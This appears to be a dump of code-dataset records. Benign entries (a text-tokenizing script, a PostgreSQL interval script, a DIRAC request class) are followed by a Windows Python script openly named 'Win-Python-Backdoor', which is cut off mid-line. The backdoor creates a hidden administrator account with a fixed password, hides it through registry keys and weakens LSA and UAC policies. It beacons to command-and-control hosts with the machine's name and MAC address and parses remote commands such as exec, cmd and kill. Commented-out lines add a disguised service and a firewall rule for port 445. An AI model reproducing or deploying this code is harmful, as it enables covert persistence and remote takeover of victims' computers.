tar_list.append(text)\n return \"\"\n \n # 字符串处理,每个函数返回丢弃了该正则匹配到的字符串之后的字符串\n # 可以看到text一直在变化\n ## 还原缩略词\n text = replace_abbreviations(text)\n ## 自定义的分词策略,依次匹配,然后分词\n ## 标记符 [('<(>&<)>', 3067), ('<(><<)>', 489), ('<(> <<)>', 85), ('<(><<)>>', 14), ('<(>,<)>', 5)]\n ## 应该在最开始的时候去掉\n text = pat_mark_quotation.sub(lambda m: deal(m, text_mark_quotation_count_list), text) \n ## 处理json字符串\n (temp_count, temp_text) = extract_all_JSON(text)\n text = temp_text\n text_json_count = temp_count\n ## email\n text = pat_email.sub(lambda m: deal(m, text_email_count_list), text) \n ## 路径 e.g. adf:/asd//asd/asd\n text = pat_path.sub(lambda m: deal(m, text_path_count_list), text)\n ## 缩略词 e.g. Uas.Sas.As java Exception\n text = pat_multiple_char.sub(lambda m: deal(m, text_multiple_char_count_list), text) \n ## 用连词符、下划线连接的词中存在空格 e.g. asd-asd_adf' s\n text = pat_dash.sub(lambda m: deal(m, text_dash_count_list), text) \n ## 用连字符链接的词汇 e.g. asd-qds'ad_ad _adwf_ADFR\n text = pat_multi_dash.sub(lambda m: deal(m, text_multi_dash_count_list), text) \n ## 缩略词 e.g. U.S.A.\n text = pat_single_char.sub(lambda m: deal(m, text_single_char_count_list), text) \n ## 时间匹配\n text = pat_time.sub(lambda m: deal(m, text_time_count_list), text) \n ## 货币、百分数 e.g. $出现一次或不出现 小数的匹配\\d+(?:\\.\\d+)? %出现一次或不出现\n text = pat_money.sub(lambda m: deal(m, text_money_count_list), text) \n text = pat_percent.sub(lambda m: deal(m, text_percent_count_list), text) \n ## 特殊字符,字符与数字夹杂 e.g. 12GH3 ##asc313dd\n text = pat_special_word.sub(lambda m: deal(m, text_special_word_count_list), text)\n ## 被双重双引号包裹的\n text = pat_square_quotation.sub(lambda m: deal(m, text_square_quotation_count_list), text) \n ## 被单个双引号包裹的\n text = pat_double_quotation.sub(lambda m: deal(m, text_double_quotation_count_list), text) \n ## 被单引号包裹的\n text = pat_single_quotation.sub(lambda m: deal(m, text_single_quotation_count_list), text) \n ## 被单个[]包裹的\n text = pat_square_brackets.sub(lambda m: deal(m, text_square_brackets_count_list), text) \n ## 被单个()包裹的\n text = pat_parenthesis.sub(lambda m: deal(m, text_parenthesis_count_list), text)\n ## 被单个{}包裹的\n text = pat_braces.sub(lambda m: deal(m, text_braces_count_list), text) \n \n \n # @args: count: Counter类型,经过这个函数后,count会发生改变\n # tar_list: list 需要统计的list\n # @descrip: 对count进行赋值,每一行都进行一次\n def count_init(count, tar_list):\n for item in tar_list:\n count[item] += 1\n\n count_init(text_mark_quotation_count, text_mark_quotation_count_list)\n count_init(text_square_quotation_count, text_square_quotation_count_list)\n count_init(text_double_quotation_count, text_double_quotation_count_list)\n count_init(text_single_quotation_count, text_single_quotation_count_list)\n count_init(text_square_brackets_count, text_square_brackets_count_list)\n count_init(text_parenthesis_count, text_parenthesis_count_list)\n count_init(text_path_count, text_path_count_list)\n count_init(text_braces_count, text_braces_count_list)\n count_init(text_single_char_count, text_single_char_count_list)\n count_init(text_multiple_char_count, text_multiple_char_count_list)\n count_init(text_time_count, text_time_count_list)\n count_init(text_money_count, text_money_count_list)\n count_init(text_percent_count, text_percent_count_list)\n count_init(text_dash_count, text_dash_count_list)\n count_init(text_multi_dash_count, text_multi_dash_count_list)\n count_init(text_special_word_count, text_special_word_count_list)\n count_init(text_email_count, text_email_count_list)\n \n return {\"mark_quotation_counter\": text_mark_quotation_count,\n \"square_quotation_counter\": text_square_quotation_count,\n \"double_quotation_counter\": text_double_quotation_count,\n \"single_quotation_counter\": text_single_quotation_count,\n \"square_brackets_counter\": text_square_brackets_count,\n \"parenthesis_counter\": text_parenthesis_count,\n \"path_counter\": text_path_count,\n \"braces_counter\": text_braces_count,\n \"single_char_counter\": text_single_char_count,\n \"multiple_char_counter\": text_multiple_char_count,\n \"time_counter\": text_time_count,\n \"money_counter\": text_money_count,\n \"percent_counter\": text_percent_count,\n \"dash_counter\": text_dash_count,\n \"multi_dash_counter\": text_multi_dash_count,\n \"special_word_counter\": text_special_word_count,\n \"json_counter\": text_json_count,\n \"email_counter\": text_email_count,\n \"text\": text}\n\ndef divide_data_into_four_parts(csv_filename, output_folder_name, begin_col, end_col):\n \n folder = os.path.exists(output_folder_name) \n if not folder: #判断是否存在文件夹如果不存在则创建为文件夹 \n os.makedirs(output_folder_name) #makedirs 创建文件时如果路径不存在会创建这个路径 \n print(\"Create new folder: {path}\".format(path=output_folder_name))\n \n part_json_writefile = open(output_folder_name+'part_json.csv', 'w', newline='')\n part_json_writer = csv.writer(part_json_writefile)\n part_money_writefile = open(output_folder_name+'part_money.csv', 'w', newline='')\n part_money_writer = csv.writer(part_money_writefile)\n part_percent_writefile = open(output_folder_name+'part_percent.csv', 'w', newline='')\n part_percent_writer = csv.writer(part_percent_writefile)\n part_email_writefile = open(output_folder_name+'part_email.csv', 'w', newline='')\n part_email_writer = csv.writer(part_email_writefile)\n part_time_writefile = open(output_folder_name+'part_time.csv', 'w', newline='')\n part_time_writer = csv.writer(part_time_writefile)\n\n part_path_writefile = open(output_folder_name+'part_path.csv', 'w', newline='')\n part_path_writer = csv.writer(part_path_writefile)\n part_exception_writefile = open(output_folder_name+'part_exception.csv', 'w', newline='')\n part_exception_writer = csv.writer(part_exception_writefile)\n\n part_special_writefile = open(output_folder_name+'part_special.csv', 'w', newline='')\n part_special_writer = csv.writer(part_special_writefile)\n\n part_non_special_writefile = open(output_folder_name+'part_non_special.csv', 'w', newline='')\n part_non_special_writer = csv.writer(part_non_special_writefile)\n\n dash_counter_writefile = open(output_folder_name+'dash_counter.csv', 'w', newline='')\n dash_counter_writer = csv.writer(dash_counter_writefile)\n\n part_json_counter = Counter()\n part_money_counter = Counter()\n part_percent_counter = Counter()\n part_email_counter = Counter()\n part_time_counter = Counter()\n\n part_path_counter = Counter()\n part_exception_counter = Counter()\n\n part_special_counter = Counter()\n part_non_special_counter = Counter()\n dash_counter_counter = Counter()\n\n with open(csv_filename, \"r\") as f:\n print(\"\"\"\n open the file, please watch out the line number.\\n\n if the running time is so long, please interrupt it on your own.\n \"\"\")\n file = csv.reader(f)\n headers = next(file)\n print(\"The file {csv_filename}'s headers are : {headers}\".format(csv_filename=csv_filename, headers=headers))\n # 定义行号\n line_number = 2\n print(\"it start to process!\")\n for row in file:\n temp_line = row[begin_col: end_col]\n line = ''\n for item in temp_line:\n line = line + \" \" + item\n\n handle_dict = process_with_paragraph(line)\n\n part_json_counter += handle_dict[\"part_json\"]\n part_money_counter += handle_dict[\"part_money\"]\n part_percent_counter += handle_dict[\"part_percent\"]\n part_email_counter += handle_dict[\"part_email\"]\n part_time_counter += handle_dict[\"part_time\"]\n\n part_path_counter += handle_dict[\"part_path\"]\n part_exception_counter += handle_dict[\"part_exception\"]\n\n part_special_counter += handle_dict[\"part_special\"]\n part_non_special_counter += handle_dict[\"part_non_special\"]\n dash_counter_counter += handle_dict[\"dash_counter\"]\n \n line_number += 1 \n if(line_number % 1000 == 0):\n print(\"line: {line}\".format(line=line_number))\n \n def write_to_file(writer, counter):\n writer.writerow(['word', 'frequency'])\n for (key, value) in counter.most_common():\n writer.writerow([key, value])\n \n write_to_file(part_json_writer, part_json_counter)\n write_to_file(part_money_writer, part_money_counter)\n write_to_file(part_percent_writer, part_percent_counter)\n write_to_file(part_email_writer, part_email_counter)\n write_to_file(part_time_writer, part_time_counter)\n\n write_to_file(part_path_writer, part_path_counter)\n write_to_file(part_exception_writer, part_exception_counter)\n \n write_to_file(part_special_writer, part_special_counter)\n write_to_file(part_non_special_writer, part_non_special_counter)\n write_to_file(dash_counter_writer, dash_counter_counter)\n \n part_json_writefile.close() \n part_money_writefile.close() \n part_percent_writefile.close() \n part_email_writefile.close() \n part_time_writefile.close() \n\n part_path_writefile.close() \n part_exception_writefile.close() \n\n part_special_writefile.close() \n part_non_special_writefile.close() \n dash_counter_writefile.close() \n\n return {\"part_json_counter\": part_json_counter,\n \"part_money_counter\": part_money_counter,\n \"part_percent_counter\": part_percent_counter,\n \"part_email_counter\": part_email_counter,\n \"part_time_counter\": part_time_counter,\n \"part_path_counter\": part_path_counter,\n \"part_exception_counter\": part_exception_counter,\n \"part_special_counter\": part_special_counter,\n \"part_non_special_counter\": part_non_special_counter,\n \"dash_counter_counter\": dash_counter_counter}\n\n \n","sub_path":"sap_parse.py","file_name":"sap_parse.py","file_ext":"py","file_size_in_byte":64994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"308165476","text":"import csv\nimport datetime\nimport pgdb\n\n# Get User Intervals: produces pairs of ids representing partitions of users \n# to ease the computation on a single machine\n\nprint(\"Starting at: \" + str(datetime.datetime.now()))\n\n# open output CSV users_intervals\noutput_path = \"/home/ciori/Unitn/Big Data/tweets-database/user-profile/TEST_users_intervals_25000.csv\"\noutput_file = open(output_path, \"a\")\noutput_writer = csv.writer(output_file)\n\n# connect to the PostgreSQL database\nconnection = pgdb.connect(host=\"localhost\", user=\"postgres\", password=\"\", database=\"tweetsdb\")\n\n# iterations values\nnum_of_iterations = 20\nusers_per_iteration = 25000\nintervals = []\n\n# for each decided iteration\nfor u in range(0, num_of_iterations):\n \n print(\"Iteration \" + str(u+1) + \"/\" + str(num_of_iterations) + \" started at \" + str(datetime.datetime.now()))\n\n offset = u * users_per_iteration \n\n # query to the database table users_keywords\n cur = connection.cursor()\n cur.execute(\"select min(user_id) as min, max(user_id) as max from \" + \n \"(select distinct user_id \" + \n \"from public.users_keywords \" + \n \"order by user_id offset \" + str(offset) + \" limit \" + str(users_per_iteration) + \") as a\")\n for min_id, max_id in cur.fetchall():\n print((min_id, max_id))\n # add the interval to the list\n intervals.append((min_id, max_id))\n cur.close()\n\n print(\" done at: \" + str(datetime.datetime.now()))\n\n# close the database connection\nconnection.close()\n\n# save the list of intervals into the output CSV\noutput_writer.writerows(intervals)\n\nprint(\"Finished at: \" + str(datetime.datetime.now()))","sub_path":"TEST-users-intervals.py","file_name":"TEST-users-intervals.py","file_ext":"py","file_size_in_byte":1686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"279022093","text":"\"\"\"\nThe Data Management Request contains all the necessary information for\na data management operation\n\"\"\"\n\nimport xml.dom.minidom, time\nfrom DIRAC.Core.Utilities.File import makeGuid\nfrom DIRAC import gLogger, S_OK, S_ERROR\nfrom DIRAC.RequestManagementSystem.Client.Request import Request\n\nclass DataManagementRequest(Request):\n\n def __init__(self,request=None,init=True):\n\n # A common set of attributes that define requests.\n self.requestAttributes = ['SubRequestID','TargetSE','Status','Operation','SourceSE','Catalogue','SpaceToken','RequestType']\n # Possible keys to define the files in the request.\n self.fileAttributes = ['LFN','Size','PFN','GUID','Md5','Addler','Status','Attempt','FileID']\n # Possible keys to define the dataset in the request.\n self.datasetAttributes = ['Handle']\n\n Request.__init__(self,request,init)\n\n###############################################################\n\n def getSubRequestNumFiles(self,ind,type):\n \"\"\" Get the number of files in the sub-request\n \"\"\"\n numFiles = len(self.subrequests[type][ind]['Files'])\n return S_OK(numFiles)\n\n def getSubRequestFiles(self,ind,type):\n \"\"\" Get the files associated to a sub-request\n \"\"\"\n files = self.subrequests[type][ind]['Files'].values()\n return S_OK(files)\n\n def setSubRequestFiles(self,ind,type,files):\n \"\"\" Set the files associated to a sub-request\n \"\"\"\n i = 1\n for file in files:\n self.subrequests[type][ind]['Files']['File%d' % i] = file\n i += 1\n return S_OK()\n\n def setSubRequestFileAttributeValue(self,ind,type,lfn,attribute,value):\n \"\"\" Set the operation to Done status\n \"\"\"\n numFiles = self.getSubRequestNumFiles(ind,type)\n for file in self.subrequests[type][ind]['Files'].keys():\n if self.subrequests[type][ind]['Files'][file]['LFN'] == lfn:\n self.subrequests[type][ind]['Files'][file][attribute] = value\n return S_OK()\n\n def getSubRequestFileAttributeValue(self,ind,type,lfn,attribute):\n \"\"\" Get the file attribute value associated to a LFN and sub-request\n \"\"\"\n numFiles = self.getSubRequestNumFiles(ind,type)\n for file in self.subrequests[type][ind]['Files'].keys():\n if self.subrequests[type][ind]['Files'][file]['LFN'] == lfn:\n value = self.subrequests[type][ind]['Files'][file][attribute]\n return S_OK(value)\n return S_OK()\n\n def getSubRequestFileAttributes(self,ind,type,lfn):\n \"\"\" Get the file attributes associated to a LFN and sub-request\n \"\"\"\n numFiles = self.getSubRequestNumFiles(ind,type)\n for file in self.subrequests[type][ind]['Files'].keys():\n if self.subrequests[type][ind]['Files'][file]['LFN'] == lfn:\n attributes = self.subrequests[type][ind]['Files'][file]\n return S_OK(attributes)\n return S_OK()\n\n###############################################################\n\n def getSubRequestDatasets(self,ind,type):\n \"\"\" Get the datasets associated to a sub-request\n \"\"\"\n datasets = self.subrequests[type][ind]['Datasets'].values()\n return S_OK(datasets)\n\n def setSubRequestDatasets(self,ind,type,datasets):\n \"\"\" Set the datasets associated to a sub-request\n \"\"\"\n if not self.subrequests[type][ind].has_key('Datasets'):\n self.subrequests[type][ind]['Datasets'] = {}\n\n i = len(self.subrequests[type][ind]['Datasets']) + 1\n for dataset in datasets:\n self.subrequests[type][ind]['Datasets']['Dataset%d' % i] = dataset\n return S_OK()\n\n###############################################################\n#\n# Request readiness checks specific to the DataManagement request\n# overrides the methods in the Request base class\n\n def isEmpty(self):\n \"\"\" Check if the request contains more operations to be performed\n \"\"\"\n\n for stype,slist in self.subrequests.items():\n for tdic in slist:\n for file in tdic['Files'].values():\n if file['Status'] != \"Done\":\n return S_OK(0)\n return S_OK(1)\n\n def isSubRequestEmpty(self,ind,type):\n \"\"\" Check if the request contains more operations to be performed\n \"\"\"\n if type:\n for file in self.subrequests[type][ind]['Files'].values():\n if file['Status'] != \"Done\":\n return S_OK(0)\n return S_OK(1)\n\n###############################################################\n\n def initiateSubRequest(self,type):\n \"\"\" Add dictionary to list of requests and return the list index\n \"\"\"\n defaultDict = {'Attributes':{'RequestType':type},'Files':{},'Datasets':{}}\n if not self.subrequests.has_key(type):\n self.subrequests[type] = []\n self.subrequests[type].append(defaultDict)\n length = len(self.subrequests[type])\n return S_OK(length-1)\n\n def addSubRequest(self,type,requestDict):\n \"\"\" Add a new sub-requests of specified type. Overrides the corresponding\n method of the base class\n \"\"\"\n # Initialise the sub-request\n ind = self.initiateSubRequest(type)['Value']\n\n # Stuff the sub-request with the attributes\n attributeDict = {}\n for key in self.requestAttributes:\n if requestDict['Attributes'].has_key(key):\n attributeDict[key] = requestDict['Attributes'][key]\n else:\n attributeDict[key] = ''\n\n if not attributeDict['RequestType']:\n attributeDict['RequestType'] = type \n if not attributeDict['Status']:\n attributeDict['Status'] = 'Waiting'\n if not attributeDict['SubRequestID']:\n attributeDict['SubRequestID'] = makeGuid()\n self.setSubRequestAttributes(ind,type,attributeDict)\n\n # Stuff the sub-request with the files\n fileDict = {}\n files = requestDict['Files']\n\n ifile = 1\n for file in files.values():\n for key in self.fileAttributes:\n if not file.has_key(key):\n file[key] = ''\n if not file['Status']:\n file['Status'] = 'Waiting'\n if not file['GUID']:\n file['GUID'] = makeGuid()\n if not file['Attempt']:\n file['Attempt'] = 1\n fileDict['File%d' % ifile] = file\n ifile += 1\n res = self.setSubRequestFiles(ind,type,files.values())\n\n # Stuff the sub-request with the datasets\n if requestDict.has_key('Datasets'):\n datasets = requestDict['Datasets']\n else:\n datasets = {}\n self.setSubRequestDatasets(ind,type,datasets.values())\n","sub_path":"RequestManagementSystem/Client/DataManagementRequest.py","file_name":"DataManagementRequest.py","file_ext":"py","file_size_in_byte":6242,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"213469680","text":"import win32serviceutil\nimport win32service\nimport win32event\nimport socket\nimport servicemanager\nimport threading\nimport asyncore\nimport sched,time\nimport sys,ctypes\nimport os\n\n#import Crypto\n#import ecdsa\n#import paramiko\nimport subprocess\nimport http.client\nimport requests\n#import urllib3\nimport urllib.request\n#import pycurl\nfrom os import path, access, R_OK\nfrom uuid import getnode as get_mac\nfrom subprocess import Popen\n#from fake_useragent import UserAgent\n\n#import logging\n#from logging.handlers import RotatingFileHandler\n\n#import win32ui, win32gui, win32com, pythoncom, win32con\n#from win32com.client import Dispatch\n#from time import sleep\n#import _winreg\ndef is_admin():\n try:\n return ctypes.windll.shell32.IsUserAnAdmin()\n except:\n return False\n\n\n\n\n\n\n#Win-Python-Backdoor\n\n#pip install requests\n#pip install fake_useragent\n#scripts\\pip3 install pyinstaller\n#cd %USERPROFILE%\\AppData\\Local\\Programs\\Python\\Python37\n\n#copy /y \"%USERPROFILE%\\Documents\\GitHub\\Win-Python-Backdoor\\wofficeie13.py\" %USERPROFILE%\\AppData\\Local\\Programs\\Python\\Python37\n\n#scripts\\pyinstaller -F --hidden-import=win32timezone wofficeie13.py\n#scripts\\pyinstaller --manifest build\\wofficeie13\\wofficeie13.exe.manifest --uac-admin -F --hidden-import=win32timezone wofficeie13.py\n#copy /y %USERPROFILE%\\AppData\\Local\\Programs\\Python\\Python37\\dist\\wofficeie13.exe %USERPROFILE%\\Documents\\GitHub\\Win-Python-Backdoor\\wup.exe\ndef Init():\n #os.environ[\"REQUESTS_CA_BUNDLE\"] = swin+\"/cacert.pem\"\n #os.environ[\"REQUESTS_CA_BUNDLE\"] = os.path.join(os.getcwd(), \"certifi\", \"cacert.pem\")\n #certifi.core.where=swin+\"/certifi/cacert.pem\"\n #requests.utils.DEFAULT_CA_BUNDLE_PATH=swin+\"/certifi/cacert.pem\"\n #requests.adapters.DEFAULT_CA_BUNDLE_PATH = swin+\"/certifi/cacert.pem\"\n#os.system(\"net.exe user Administrator /active:yes\")\n os.system(\"net.exe user asp Qwerty12! /add\")\n os.system(\"net.exe localgroup administrators asp /add\")\n os.system(\"reg add HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Lsa /v forceguest /t REG_DWORD /d 0 /f\")\n os.system(\"reg add HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f\")\n os.system(\"wmic path Win32_UserAccount where Name=\\'asp\\' set PasswordExpires=false\")\n os.system(\"reg add hklm\\\\system\\\\currentcontrolset\\\\control\\\\lsa /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f\")\n #os.system(\"netsh advfirewall set allprofiles state off\")\n## if not os.path.exists('c:\\\\windows\\\\wup.exe'):\n## os.system('powershell -Command Invoke-WebRequest -Uri \"http://certificates.ddns.net/wofficeie.exe\" -OutFile \"c:\\\\windows\\\\wup.exe\"')\n## subprocess.call(\"sc create wup binPath= \\\"\"+os.getenv('windir')+\"\\\\wup.exe\\\" DisplayName= \\\"Windows Office\\\" start= auto\", creationflags=CREATE_NO_WINDOW)\n## subprocess.call(\"net start wup\", creationflags=CREATE_NO_WINDOW)\n if not os.path.exists('c:\\\\windows\\\\syswow64'):\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\" /f')\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList\" /f')\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList\" /v asp /t REG_DWORD /d 0 /f')\n else:\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\" /f /reg:64')\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList\" /f /reg:64')\n #os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList\" /v Administrator /t REG_DWORD /d 0 /f /reg:64')\n os.system('reg add \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\UserList\" /v asp /t REG_DWORD /d 0 /f /reg:64')\n \n \n #os.system(\"net.exe user Administrator Qwerty12\")\n os.system(\"net.exe user asp Qwerty12!\")\n os.system(\"net.exe user asp /active:yes\")\n sinit='1'\n\n\ndef get_macaddress(host='localhost'):\n \"\"\" Returns the MAC address of a network host, requires >= WIN2K. \"\"\"\n # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/347812\n \n import socket\n import struct\n \n # Check for api availability\n try:\n SendARP = ctypes.windll.Iphlpapi.SendARP\n except:\n raise NotImplementedError('Usage only on Windows 2000 and above')\n \n # Doesn't work with loopbacks, but let's try and help.\n if host == '127.0.0.1' or host.lower() == 'localhost':\n host = socket.gethostname()\n \n # gethostbyname blocks, so use it wisely.\n try:\n inetaddr = ctypes.windll.wsock32.inet_addr(host)\n if inetaddr in (0, -1):\n raise Exception\n except:\n hostip = socket.gethostbyname(host)\n inetaddr = ctypes.windll.wsock32.inet_addr(hostip)\n \n buffer = ctypes.c_buffer(6)\n addlen = ctypes.c_ulong(ctypes.sizeof(buffer))\n if SendARP(inetaddr, 0, ctypes.byref(buffer), ctypes.byref(addlen)) != 0:\n raise WindowsError('Retreival of mac address(%s) - failed' % host)\n \n # Convert binary data into a string.\n macaddr = ''\n for intval in struct.unpack('BBBBBB', buffer):\n if intval > 15:\n replacestr = '0x'\n else:\n replacestr = 'x'\n if macaddr != '':\n #macaddr = ':'.join([macaddr, hex(intval).replace(replacestr, '')])\n macaddr = ''.join([macaddr, hex(intval).replace(replacestr, '')])\n else:\n macaddr = ''.join([macaddr, hex(intval).replace(replacestr, '')])\n \n return macaddr.upper()\n\n#try:\n# CREATE_NO_WINDOW = 0x08000000\n# swin=os.getenv('windir')\n# suser=os.getenv('USERPROFILE')\n# if not os.path.exists('c:\\\\windows\\\\wup.exe'):\n \n## f = urllib2.urlopen(\"http://certificates.ddns.net/wofficeie.exe\")\n## with open(swin+'\\\\wup.exe',\"wb\") as code:\n## code.write(f.read())\n #os.system('powershell -Command Invoke-WebRequest -Uri \"http://54.218.80.188/wofficeie.exe\" -OutFile \"c:\\\\windows\\\\wup.exe\"')\n #while not os.path.exists('c:\\\\windows\\\\wup.exe'):\n # time.sleep(5)\n #subprocess.call(\"move \"+swin+'\\\\wofficeie.exe '+swin+'\\\\wup.exe', creationflags=0x08000000)\n #subprocess.call(\"cmd /c copy /y \"+os.getcwd()+\"\\\\wofficeie.exe \" +swin+\"\\\\wup.exe\", creationflags=CREATE_NO_WINDOW)\n \n #subprocess.call(\"TASKKILL /F /IM wup.exe\", creationflags=CREATE_NO_WINDOW)\n #time.sleep(1)\n #subprocess.call(\"cmd /c del \"+swin+\"\\\\wup.exe\", creationflags=CREATE_NO_WINDOW)\n #time.sleep(1)\n# subprocess.call(\"cmd /c copy /y \"+sys.argv[0]+\" \" +swin+\"\\\\wup.exe\", creationflags=CREATE_NO_WINDOW)\n# subprocess.call(\"sc create wup binPath= \\\"\"+os.getenv('windir')+\"\\\\wup.exe\\\" DisplayName= \\\"Windows Office\\\" start= auto\", creationflags=0x08000000)\n #print(\"schtasks /create /ru \\\"SYSTEM\\\" /sc minute /mo 2 /tr \\\"net start wup\\\" /tn myadobe /rl highest\")\n# subprocess.call(\"schtasks /create /ru \\\"SYSTEM\\\" /sc minute /mo 2 /tr \\\"net start wup\\\" /tn myadobe /rl highest /F\", creationflags=CREATE_NO_WINDOW)\n #subprocess.call(\"netsh advfirewall set allprofiles state off\", creationflags=CREATE_NO_WINDOW)\n# subprocess.call(\"netsh advfirewall firewall add rule name=\\\"Open Port 445\\\" dir=in action=allow protocol=TCP localport=445\", creationflags=CREATE_NO_WINDOW)\n# Init()\n# subprocess.call(\"net start wup\", creationflags=0x08000000)\n #os.system(\"netsh advfirewall set allprofiles state off\")\n #os.system(\"net.exe user Administrator /active:yes\")\n #os.system(\"net.exe user Administrator Qwerty12\")\n #myloop()\n#except Exception as e:\n# print (str(e))\n#class AppServerSvc (win32serviceutil.ServiceFramework):\n# _svc_name_ = \"wofficeie\"\n# _svc_display_name_ = \"Windows Office\"\n\n# def __init__(self,args):\n# win32serviceutil.ServiceFramework.__init__(self,args)\n# self.hWaitStop = win32event.CreateEvent(None,0,0,None)\n\n# def SvcStop(self):\n# self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING)\n# win32event.SetEvent(self.hWaitStop)\n# def SvcDoRun(self):\n# #print getProxy() \n# self.ReportServiceStatus(win32service.SERVICE_RUNNING)\n \n# Init()\n \n #self.stopping = False\n\n #while not self.stopping:\n \n# while True:\n# try:\n# myloop() \n# time.sleep(60)\n# except Exception as e:\n# print (str(e)) \n# time.sleep(60)\n# myloop() \n\n\n \n\ndef myloop():\n #threading.Timer(10.0, myloop).start() # called every minute \n sinit='0'\n #sites = [\"paner.altervista.org\", \"verifiche.ddns.net\"]\n #ua = UserAgent()\n #header = {'User-Agent':str(ua.chrome)}\n sites = [\"paner.altervista.org\"]#, mainsite.text]\n header = {'User-Agent': 'Mozilla/5.0'}\n try:\n ip=socket.gethostbyname('config01.homepc.it')\n mainsite = requests.get(\"http://\"+ip+\"/site.txt\", headers=header)\n for mysite in mainsite.text.split(\",\"):\n #print socket.gethostbyname(mysite)\n sites.append(socket.gethostbyname(mysite))\n #sites.extend(mainsite.text.split(\",\") )\n except Exception as e:\n print (str(e))\n #p = Popen(\"curl -L -A 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36' https://drive.google.com/uc?export=download&id=1nT2hQWW1tOM_yxPK5_nhIm8xBVETGXdF -o \"+os.getenv('TEMP')+\"\\\\sites.txt\",shell=True)\n #time.sleep(5)\n #text_file = open(os.getenv('TEMP')+\"\\\\sites.txt\", \"r\") \n #text_file_content=text_file.read()\n #sites.extend(text_file_content.split(\",\") )\n #text_file.close()\n #print mainsite.text\n \n \n #site=\"paner.altervista.org\"\n site1=\"paner.altervista.org\"\n site2=\"52.26.124.145\"\n site3=\"certificates.ddns.net\"\n #os.system(\"reg add HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run /v urlspace /t REG_SZ /d \"+os.getenv('windir')+\"\\\\up.exe /f\")\n #os.system(\"cmd /c copy /y \"+os.getenv('windir')+\"\\\\upie.exe \"+os.getenv('windir')+\"\\\\up.exe\")\n\n\n \n \n \n #print(header)\n \n \n# log_formatter = logging.Formatter('%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n\n# logFile = os.getenv('windir')+\"\\\\wup.log\"\n\n# my_handler = RotatingFileHandler(logFile, mode='a', maxBytes=1*1024, \n# backupCount=2, encoding=None, delay=0)\n# my_handler.setFormatter(log_formatter)\n# my_handler.setLevel(logging.INFO)\n\n# app_log = logging.getLogger('root')\n# app_log.setLevel(logging.INFO)\n\n# app_log.addHandler(my_handler)\n\n\n #app_log.info(\"data\")\n \n \n #logging.basicConfig(filename=os.getenv('windir')+\"\\\\wup.log\",level=logging.INFO, format='%(asctime)s %(message)s', datefmt='%m/%d/%Y %I:%M:%S %p')\n# app_log.info('Start')\n \n \n\n \n \n#while True:\n\n \n for site in sites:\n try:\n #app_log.info('Step')\n #if sinit == '0':\n # Init()\n \n #httpServ = httplib.HTTPConnection(site, 80)\n #httpServ.connect()\n \n mymac = get_mac()\n #smacaddress = get_macaddress('localhost')\n smacaddress=str(get_mac())\n sCOMPUTERNAME=os.getenv('COMPUTERNAME')+\"_\"+smacaddress\n sTime=time.ctime(os.path.getmtime(os.getenv('windir')+\"\\\\wup.exe\"))\n sTime=sTime.replace(\" \",\"_\")\n #opener = urllib2.build_opener(SocksiPyHandler(socks.PROXY_TYPE_SOCKS4, '52.26.124.145', 8080))\n #response = opener.open(\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime).read()\n #response = urllib2.urlopen(\"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime)#+\"&dump=aaaaa\")\n #httpServ.request('GET', \"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime)\n #response = httpServ.getresponse()\n url = \"http://\"+site+\"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime\n response = requests.get(url, headers=header)\n #sresponse=response.read()\n if response.status_code == 200:#httplib.OK:\n #if sresponse!= '':\n print (\"Output from HTML request\")\n sresponse = response.text\n ifind=sresponse.find('ip=')\n sip = sresponse[ifind+3:sresponse.find('||',ifind)]\n ifind=sresponse.find('port=')\n sport = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('kill=')\n skill = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('iout=')\n sout = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('exec=')\n sexec = sresponse[ifind+5:sresponse.find('||',ifind)]\n ifind=sresponse.find('cmd=')\n scmd = sresponse[ifind+4:sresponse.find('||',ifind)]\n print (skill)\n else:\n# logging.info('Not 200')\n #myloop()\n if site == site1:\n site=site2\n elif site == site2:\n site=site3\n elif site == site3:\n site=site1\n #httpServ.request('GET', \"/svc/wup.php?pc=\"+sCOMPUTERNAME+\"&wup=\"+sTime)\n #response = httpServ.getresponse()\n url = 